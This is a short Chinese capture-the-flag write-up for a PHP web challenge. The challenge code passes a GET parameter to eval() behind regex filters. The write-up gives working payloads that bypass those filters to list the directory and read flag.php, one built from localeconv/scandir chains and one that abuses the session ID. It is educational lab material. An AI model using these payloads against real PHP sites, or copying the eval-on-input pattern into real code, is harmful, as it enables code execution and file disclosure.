xmctf-web-web12-wp

web12

源代码

<?php
header("Content-Type: text/html;charset=utf-8");
include "flag.php";
echo "flag在哪里呢？<br>";
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|cu|readfile|flip|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦！");
            }
        }
        else{
            die("再好好想想！");
        }
    }
    else{
        die("还想读flag，臭弟弟！");
    }
}
// highlight_file(__FILE__);
?>

法一

函数	描述
localeconv()	获取 ‘.’
current() pos()	返回当前数组值
next()	获取下一个数组的值
end()	获取最后一个数组的值
array_rand()	返回随机的数字键值
arrat_flip()	数组的键名和键值交换
scandir()	返回指定目录中的文件和文件夹
array_reverse()	数组逆序

payload

#获取当前目录的文件
?exp=var_dump(scandir(pos(localeconv())));

接下来获取flag.php
payload：

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

法二

函数	描述
session_start()	开启session
session_id()	获取 PHPSESSID的值

payload

?exp=highlight_file(session_id(session_start()));

BP抓包添加一行

然后查看响应包就能得到flag

8dba5045b4638241db0f44e8727ba89e.php